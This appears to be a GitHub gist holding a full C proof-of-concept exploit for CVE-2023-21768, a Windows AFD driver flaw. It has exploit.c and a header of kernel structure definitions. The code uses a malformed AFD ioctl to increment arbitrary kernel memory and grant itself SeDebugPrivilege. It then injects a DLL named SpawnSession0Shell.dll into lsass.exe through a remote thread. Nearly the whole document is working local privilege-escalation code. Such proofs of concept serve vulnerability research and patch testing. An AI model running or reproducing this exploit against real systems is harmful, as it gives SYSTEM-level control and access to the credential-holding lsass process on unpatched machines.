Last active
November 16, 2023 05:07
-
-
Save D4m0n/0d14e8b008dbdec7c1d9cfdab0df2e3c to your computer and use it in GitHub Desktop.
The Exploit PoC of CVE-2023-21768
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "exploit.h" | |
#define AFD_NOTIFYSOCK_IOCTL 0x12127 | |
typedef struct AFD_NOTIFYSOCK_DATA | |
{ | |
HANDLE hIoCompletionPort; // 0x0 | |
PVOID registrationInfos; // 0x8 | |
PVOID completionPortEntries; // 0x10 | |
PVOID receivedEntryCount; // 0x18 AAW target | |
DWORD registrationCount; // 0x20 | |
DWORD timeoutMs; // 0x24 | |
DWORD completionCount; // 0x28 | |
}AFD_NOTIFYSOCK_DATA; | |
VOID GetNtFunctions() | |
{ | |
_NtCreateFile = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, unsigned long, unsigned long, unsigned long, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateFile"); | |
_NtDeviceIoControlFile = (unsigned long(__stdcall*)(HANDLE, void*, void*, void*, PIO_STATUS_BLOCK, unsigned long, void*, unsigned long, void*, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeviceIoControlFile"); | |
_NtCreateIoCompletion = (unsigned long(__stdcall*)(PHANDLE, unsigned long, POBJECT_ATTRIBUTES, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateIoCompletion"); | |
_NtSetIoCompletion = (unsigned long(__stdcall*)(HANDLE, unsigned long, PIO_STATUS_BLOCK, NTSTATUS, unsigned long))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIoCompletion"); | |
_NtQuerySystemInformation = (unsigned long(__stdcall*)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); | |
if ((_NtSetIoCompletion == NULL) || (_NtCreateIoCompletion == NULL) || (_NtCreateFile == NULL) || (_NtDeviceIoControlFile == NULL) || (_NtQuerySystemInformation == NULL)) | |
{ | |
printf("[!] Failed to get Nt Functions\n"); | |
exit(EXIT_FAILURE); | |
} | |
} | |
VOID ArbitrayAddressIncrement(LPVOID addr, ULONG inc) | |
{ | |
HANDLE hCompletion = INVALID_HANDLE_VALUE; | |
HANDLE hSocket = INVALID_HANDLE_VALUE; | |
IO_STATUS_BLOCK IoStatusBlock = { 0 }; | |
UNICODE_STRING ObjectName = { 0 }; | |
OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; | |
AFD_NOTIFYSOCK_DATA AfdData = { 0 }; | |
if (_NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, NULL) != STATUS_SUCCESS) | |
{ | |
printf("[!] Failed to create IOCP object\n"); | |
goto CLEANUP; | |
} | |
for (ULONG i = 0; i < inc; i++) | |
{ | |
if (_NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, STATUS_SUCCESS, 0) != STATUS_SUCCESS) | |
{ | |
printf("[!] Failed to set I/O Completion\n"); | |
goto CLEANUP; | |
} | |
} | |
ObjectName.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint"; | |
ObjectName.Length = (USHORT)wcslen(ObjectName.Buffer) * sizeof(wchar_t); | |
ObjectName.MaximumLength = ObjectAttributes.Length; | |
ObjectAttributes.Length = sizeof(ObjectAttributes); | |
ObjectAttributes.ObjectName = &ObjectName; | |
if (_NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0) != STATUS_SUCCESS) | |
{ | |
printf("[!] Failed to get AFD Endpoint\n"); | |
goto CLEANUP; | |
} | |
AfdData.hIoCompletionPort = hCompletion; | |
AfdData.registrationInfos = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
AfdData.completionPortEntries = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
AfdData.receivedEntryCount = addr; | |
AfdData.registrationCount = 0x1; | |
AfdData.timeoutMs = 0x1000; | |
AfdData.completionCount = inc; | |
if (AfdData.registrationInfos == NULL || AfdData.completionPortEntries == NULL) | |
{ | |
printf("[!] Failed to allocate memory\n"); | |
goto CLEANUP; | |
} | |
_NtDeviceIoControlFile(hSocket, NULL, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &AfdData, 0x30, NULL, 0); | |
CLEANUP: | |
if (hCompletion != INVALID_HANDLE_VALUE) | |
{ | |
CloseHandle(hCompletion); | |
} | |
if (hSocket != INVALID_HANDLE_VALUE) | |
{ | |
CloseHandle(hSocket); | |
} | |
if (AfdData.registrationInfos) | |
{ | |
VirtualFree(AfdData.registrationInfos, 0, MEM_RELEASE); | |
} | |
if (AfdData.completionPortEntries) | |
{ | |
VirtualFree(AfdData.completionPortEntries, 0, MEM_RELEASE); | |
} | |
} | |
VOID InjectDLL(LPCSTR szDllName) | |
{ | |
HANDLE hProc; | |
HANDLE hModule; | |
LPCSTR lpLibFileName = (LPCSTR)"kernel32.dll"; | |
LPCSTR lpProcName = (LPCSTR)"LoadLibraryA"; | |
LPVOID DllPath; | |
SIZE_T dwBufSize = strlen(szDllName); | |
LPVOID lpLoadLibraryA; | |
HANDLE hThread; | |
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, 0); | |
if (snapshot == INVALID_HANDLE_VALUE) { | |
return 0; | |
} | |
DWORD pid = 0; | |
PROCESSENTRY32W processEntry = { 0 }; | |
processEntry.dwSize = sizeof(PROCESSENTRY32W); | |
if (Process32FirstW(snapshot, &processEntry)) { | |
do { | |
if (wcscmp(processEntry.szExeFile, L"lsass.exe") == 0) { | |
pid = processEntry.th32ProcessID; | |
break; | |
} | |
} while (Process32NextW(snapshot, &processEntry)); | |
} | |
printf("[+] Target pid: %d\n", pid); | |
if ((hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL) | |
{ | |
printf("[!] Failed to open process\n"); | |
exit(EXIT_FAILURE); | |
} | |
if ((DllPath = VirtualAllocEx(hProc, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE)) == NULL) | |
{ | |
printf("[!] Unable to allocate memory to the system process\n"); | |
exit(EXIT_FAILURE); | |
} | |
if (!(hModule = GetModuleHandleA(lpLibFileName))) | |
{ | |
printf("[!] Unable to get module handle to %s\n", lpLibFileName); | |
exit(EXIT_FAILURE); | |
} | |
else | |
{ | |
if (!(lpLoadLibraryA = GetProcAddress(hModule, lpProcName))) | |
{ | |
printf("[!] Unable to get %s\n", lpProcName); | |
exit(EXIT_FAILURE); | |
} | |
} | |
WriteProcessMemory(hProc, DllPath, (LPVOID)szDllName, dwBufSize, NULL); | |
if ((hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadLibraryA, DllPath, 0, NULL)) == NULL) | |
{ | |
printf("[!] Failed to create remote thread\n"); | |
exit(EXIT_FAILURE); | |
} | |
CloseHandle(hProc); | |
} | |
VOID ExploitWithTokenPrivileges() | |
{ | |
HANDLE hToken = NULL; | |
_TOKEN* TokenAddress; | |
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0) | |
{ | |
printf("[!] OpenProcessToken: %d\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else | |
{ | |
TokenAddress = (_TOKEN*)GetObjAddrFromHandle(GetCurrentProcessId(), hToken); | |
printf("[+] TokenAddress: 0x%p\n", TokenAddress); | |
} | |
// 20 0x000000014 SeDebugPrivilege | |
printf("[*] Setting up SeDebugPrivilege by writing a value to 0x20 bit in Token->Privileges.Present\n"); | |
ArbitrayAddressIncrement((PBYTE)&TokenAddress->Privileges + 2, 0x10); | |
printf("[*] Setting up SeDebugPrivilege by writing a value to 0x20 bit in Token->Privileges.Enabled\n"); | |
ArbitrayAddressIncrement((PBYTE)&TokenAddress->Privileges + 8 + 2, 0x10); | |
system("whoami /priv"); | |
CHAR lpFullDLLPath[MAX_PATH]; | |
GetFullPathNameA("SpawnSession0Shell.dll", MAX_PATH, lpFullDLLPath, NULL); | |
InjectDLL(lpFullDLLPath); | |
CloseHandle(hToken); | |
} | |
VOID main() | |
{ | |
GetNtFunctions(); | |
//ExploitWithIoRing(); | |
ExploitWithTokenPrivileges(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#pragma once | |
#include <stdio.h> | |
#include <string.h> | |
#include <windows.h> | |
#include <winternl.h> | |
#include <ntstatus.h> | |
#include <psapi.h> | |
#include <tlhelp32.h> | |
//0x18 bytes (sizeof) | |
struct _SEP_TOKEN_PRIVILEGES | |
{ | |
ULONGLONG Present; //0x0 | |
ULONGLONG Enabled; //0x8 | |
ULONGLONG EnabledByDefault; //0x10 | |
}; | |
//0x1f bytes (sizeof) | |
struct _SEP_AUDIT_POLICY | |
{ | |
struct _TOKEN_AUDIT_POLICY AdtTokenPolicy; //0x0 | |
UCHAR PolicySetStatus; //0x1e | |
}; | |
//0x498 bytes (sizeof) | |
typedef struct _TOKEN | |
{ | |
struct _TOKEN_SOURCE TokenSource; //0x0 | |
struct _LUID TokenId; //0x10 | |
struct _LUID AuthenticationId; //0x18 | |
struct _LUID ParentTokenId; //0x20 | |
union _LARGE_INTEGER ExpirationTime; //0x28 | |
struct _ERESOURCE* TokenLock; //0x30 | |
struct _LUID ModifiedId; //0x38 | |
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40 | |
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58 | |
ULONG SessionId; //0x78 | |
ULONG UserAndGroupCount; //0x7c | |
ULONG RestrictedSidCount; //0x80 | |
ULONG VariableLength; //0x84 | |
ULONG DynamicCharged; //0x88 | |
ULONG DynamicAvailable; //0x8c | |
ULONG DefaultOwnerIndex; //0x90 | |
struct _SID_AND_ATTRIBUTES* UserAndGroups; //0x98 | |
struct _SID_AND_ATTRIBUTES* RestrictedSids; //0xa0 | |
VOID* PrimaryGroup; //0xa8 | |
ULONG* DynamicPart; //0xb0 | |
struct _ACL* DefaultDacl; //0xb8 | |
enum _TOKEN_TYPE TokenType; //0xc0 | |
enum _SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; //0xc4 | |
ULONG TokenFlags; //0xc8 | |
UCHAR TokenInUse; //0xcc | |
ULONG IntegrityLevelIndex; //0xd0 | |
ULONG MandatoryPolicy; //0xd4 | |
struct _SEP_LOGON_SESSION_REFERENCES* LogonSession; //0xd8 | |
struct _LUID OriginatingLogonSession; //0xe0 | |
struct _SID_AND_ATTRIBUTES_HASH SidHash; //0xe8 | |
struct _SID_AND_ATTRIBUTES_HASH RestrictedSidHash; //0x1f8 | |
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes; //0x308 | |
VOID* Package; //0x310 | |
struct _SID_AND_ATTRIBUTES* Capabilities; //0x318 | |
ULONG CapabilityCount; //0x320 | |
struct _SID_AND_ATTRIBUTES_HASH CapabilitiesHash; //0x328 | |
struct _SEP_LOWBOX_NUMBER_ENTRY* LowboxNumberEntry; //0x438 | |
struct _SEP_CACHED_HANDLES_ENTRY* LowboxHandlesEntry; //0x440 | |
struct _AUTHZBASEP_CLAIM_ATTRIBUTES_COLLECTION* pClaimAttributes; //0x448 | |
VOID* TrustLevelSid; //0x450 | |
struct _TOKEN* TrustLinkedToken; //0x458 | |
VOID* IntegrityLevelSidValue; //0x460 | |
struct _SEP_SID_VALUES_BLOCK* TokenSidValues; //0x468 | |
struct _SEP_LUID_TO_INDEX_MAP_ENTRY* IndexEntry; //0x470 | |
struct _SEP_TOKEN_DIAG_TRACK_ENTRY* DiagnosticInfo; //0x478 | |
struct _SEP_CACHED_HANDLES_ENTRY* BnoIsolationHandlesEntry; //0x480 | |
VOID* SessionObject; //0x488 | |
ULONGLONG VariablePart; //0x490 | |
} _TOKEN; | |
#define TOKEN_OFFSET 0x4b8 | |
#define SystemHandleInformation (SYSTEM_INFORMATION_CLASS)16 | |
typedef struct _OBJECT_TYPE_INFORMATION | |
{ | |
UNICODE_STRING TypeName; | |
ULONG TotalNumberOfObjects; | |
ULONG TotalNumberOfHandles; | |
ULONG TotalPagedPoolUsage; | |
ULONG TotalNonPagedPoolUsage; | |
ULONG TotalNamePoolUsage; | |
ULONG TotalHandleTableUsage; | |
ULONG HighWaterNumberOfObjects; | |
ULONG HighWaterNumberOfHandles; | |
ULONG HighWaterPagedPoolUsage; | |
ULONG HighWaterNonPagedPoolUsage; | |
ULONG HighWaterNamePoolUsage; | |
ULONG HighWaterHandleTableUsage; | |
ULONG InvalidAttributes; | |
GENERIC_MAPPING GenericMapping; | |
ULONG ValidAccessMask; | |
BOOLEAN SecurityRequired; | |
BOOLEAN MaintainHandleCount; | |
BOOLEAN TypeIndex; | |
CHAR ReservedByte; | |
ULONG PoolType; | |
ULONG DefaultPagedPoolCharge; | |
ULONG DefaultNonPagedPoolCharge; | |
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION; | |
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO | |
{ | |
unsigned short UniqueProcessId; | |
unsigned short CreatorBackTraceIndex; | |
unsigned char ObjectTypeIndex; | |
unsigned char HandleAttributes; | |
unsigned short HandleValue; | |
void* Object; | |
unsigned long GrantedAccess; | |
long __PADDING__[1]; | |
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; | |
typedef struct _SYSTEM_HANDLE_INFORMATION | |
{ | |
unsigned long NumberOfHandles; | |
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; | |
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; | |
typedef struct _DISPATCHER_HEADER | |
{ | |
union | |
{ | |
volatile long Lock; | |
long LockNV; | |
struct | |
{ | |
unsigned char Type; | |
unsigned char Signalling; | |
unsigned char Size; | |
unsigned char Reserved1; | |
}; | |
struct | |
{ | |
unsigned char TimerType; | |
union | |
{ | |
unsigned char TimerControlFlags; | |
struct | |
{ | |
struct | |
{ | |
unsigned char Absolute : 1; | |
unsigned char Wake : 1; | |
unsigned char EncodedTolerableDelay : 6; | |
}; | |
unsigned char Hand; | |
union | |
{ | |
unsigned char TimerMiscFlags; | |
struct | |
{ | |
unsigned char Index : 6; | |
unsigned char Inserted : 1; | |
volatile unsigned char Expired : 1; | |
}; | |
}; | |
}; | |
}; | |
}; | |
struct | |
{ | |
unsigned char Timer2Type; | |
union | |
{ | |
unsigned char Timer2Flags; | |
struct | |
{ | |
struct | |
{ | |
unsigned char Timer2Inserted : 1; | |
unsigned char Timer2Expiring : 1; | |
unsigned char Timer2CancelPending : 1; | |
unsigned char Timer2SetPending : 1; | |
unsigned char Timer2Running : 1; | |
unsigned char Timer2Disabled : 1; | |
unsigned char Timer2ReservedFlags : 2; | |
}; | |
unsigned char Timer2ComponentId; | |
unsigned char Timer2RelativeId; | |
}; | |
}; | |
}; | |
struct | |
{ | |
unsigned char QueueType; | |
union | |
{ | |
unsigned char QueueControlFlags; | |
struct | |
{ | |
struct | |
{ | |
unsigned char Abandoned : 1; | |
unsigned char DisableIncrement : 1; | |
unsigned char QueueReservedControlFlags : 6; | |
}; | |
unsigned char QueueSize; | |
unsigned char QueueReserved; | |
}; | |
}; | |
}; | |
struct | |
{ | |
unsigned char ThreadType; | |
unsigned char ThreadReserved; | |
union | |
{ | |
unsigned char ThreadControlFlags; | |
struct | |
{ | |
struct | |
{ | |
unsigned char CycleProfiling : 1; | |
unsigned char CounterProfiling : 1; | |
unsigned char GroupScheduling : 1; | |
unsigned char AffinitySet : 1; | |
unsigned char Tagged : 1; | |
unsigned char EnergyProfiling : 1; | |
unsigned char SchedulerAssist : 1; | |
unsigned char ThreadReservedControlFlags : 1; | |
}; | |
union | |
{ | |
unsigned char DebugActive; | |
struct | |
{ | |
unsigned char ActiveDR7 : 1; | |
unsigned char Instrumented : 1; | |
unsigned char Minimal : 1; | |
unsigned char Reserved4 : 2; | |
unsigned char AltSyscall : 1; | |
unsigned char Emulation : 1; | |
unsigned char Reserved5 : 1; | |
}; | |
}; | |
}; | |
}; | |
}; | |
struct | |
{ | |
unsigned char MutantType; | |
unsigned char MutantSize; | |
unsigned char DpcActive; | |
unsigned char MutantReserved; | |
}; | |
}; | |
long SignalState; | |
LIST_ENTRY WaitListHead; | |
} DISPATCHER_HEADER, * PDISPATCHER_HEADER; | |
typedef struct _KEVENT | |
{ | |
struct _DISPATCHER_HEADER Header; | |
} KEVENT, * PKEVENT; | |
DWORD(WINAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); | |
DWORD(WINAPI* _NtDeviceIoControlFile)(HANDLE FileHandle, HANDLE Event, VOID* ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG IoControlCode, PVOID InputBuffer, ULONG InputBufferLength, PVOID OutputBuffer, ULONG OutputBufferLength); | |
DWORD(WINAPI* _NtCreateIoCompletion)(PHANDLE IoCompletionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG NumberOfConcurrentThreads); | |
DWORD(WINAPI* _NtSetIoCompletion)(HANDLE IoCompletionHandle, ULONG CompletionKey, PIO_STATUS_BLOCK IoStatusBlock, NTSTATUS CompletionStatus, ULONG NumberOfBytesTransferred); | |
DWORD(WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment